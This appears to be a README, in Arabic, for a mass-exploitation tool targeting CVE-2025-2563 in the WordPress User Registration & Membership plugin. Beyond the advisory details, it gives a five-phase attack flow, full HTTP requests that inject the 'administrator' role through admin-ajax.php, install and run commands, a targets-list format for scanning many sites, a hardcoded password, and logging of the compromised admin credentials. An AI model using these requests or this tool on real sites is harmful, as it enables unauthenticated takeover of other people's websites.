
إضافة ووردبريس User Registration & Membership قبل الإصدار 4.1.2 لا تمنع المستخدمين من تعيين دور حساباتهم عند تفعيل الوظيفة الإضافية Membership Addon، مما يؤدي إلى حدوث تصعيد في الصلاحيات ويتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المسؤول.
المكوّن الإضافي User Registration & Membership في ووردبريس قبل الإصدار 4.1.2 لا يمنع المستخدمين من تعيين دور حساباتهم عند تفعيل إضافة العضوية (Membership Addon)، مما يؤدي إلى ثغرة تصعيد صلاحيات وتتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المدير (Admin).
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2025-2563 |
| مستوى الخطورة | عالية (HIGH) — درجة CVSS v3.1: 8.1 |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| البرنامج المتأثر | المكوّن الإضافي User Registration & Membership لووردبريس |
| الإصدارات المتأثرة | جميع الإصدارات قبل 4.1.2 |
| نوع الثغرة | إدارة صلاحيات غير سليمة — إنشاء حساب مسؤول دون مصادقة |
| المصادقة المطلوبة | لا شيء |
| CWE | CWE-269: إدارة صلاحيات غير سليمة |
الوصف:
المكوّن الإضافي User Registration & Membership لووردبريس في الإصدارات قبل 4.1.2 يفشل في فرض قيود الأدوار من جانب الخادم عند تفعيل Membership Addon. أثناء عملية تسجيل العضوية، يقبل المكوّن حقل role المقدَّم من المستخدم داخل إجراء AJAX user_registration_membership_register_member دون التحقق منه مقابل قائمة مسموحة من جانب الخادم. يمكن لمهاجم بعيد غير مصادَق تمامًا إرسال سلسلة AJAX من خطوتين مصممة بعناية — أولًا تسجيل حساب مستخدم جديد عبر user_registration_user_form_submit، ثم حقن "role": "administrator" في حمولة members_data الخاصة باستدعاء العضوية — لإنشاء حساب Administrator بكامل الصلاحيات في ووردبريس بصمت. يؤدي هذا إلى اختراق كامل للموقع دون الحاجة إلى أي مصادقة أو تفاعل من المستخدم.
هذه أداة ماسح استغلال جماعي (Proof-of-Concept — PoC) تستهدف تثبيتات ووردبريس التي تشغّل إصدارًا قابلًا للاستغلال من المكوّن الإضافي User Registration & Membership مع تفعيل Membership Addon. تنفّذ الأداة استغلالًا ذكيًا متعدد المراحل يتضمن الاكتشاف التلقائي، وجمع الـ nonces، والتسجيل القائم على التركيبات، وحقن الدور، والتحقق من صلاحيات المدير.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بمكتبة Rich.
أنشئ ملفًا نصيًا عاديًا (الافتراضي: list.txt) — هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
target4.com
الأهداف التي لا تحتوي على
http://أوhttps://تُسبَق تلقائيًا بـhttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
كلمة المرور مثبتة داخليًا كـ
Nx_adminSAلجميع محاولات التسجيل.
تفحص الأداة ثلاث صفحات تلقائيًا لكل هدف:
| الصفحة | الغرض |
|---|---|
/membership-pricing/ | استخراج membership_id وروابط التسجيل |
/membership-registration/ | استخراج رموز النماذج والـ nonces ومعرفات الحقول |
/membership-registration/?membership_id=<id> | استخراج نموذج خاص بالخطة |
/registration/ | صفحة تسجيل عامة احتياطية |
تُستخرج الرموز التالية من HTML الخام وجافاسكربت المضمّن:
| الرمز | المصدر |
|---|---|
_nonce | كائن جافاسكربت ur_membership_frontend_localized_data |
ur_frontend_form_nonce | حقل إدخال مخفي أو كائن جافاسكربت |
security | user_registration_params.user_registration_form_data_save |
form_id | حقل إدخال مخفي ur-user-form-id أو كائن جافاسكربت |
membership_id | حقل إدخال راديو urm_membership أو سلسلة استعلام في الرابط |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
تتنقل الأداة تلقائيًا عبر جميع التركيبات المكتشفة من security وfrontend_nonce وform_id وmembership_id حتى تتلقى استجابة success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}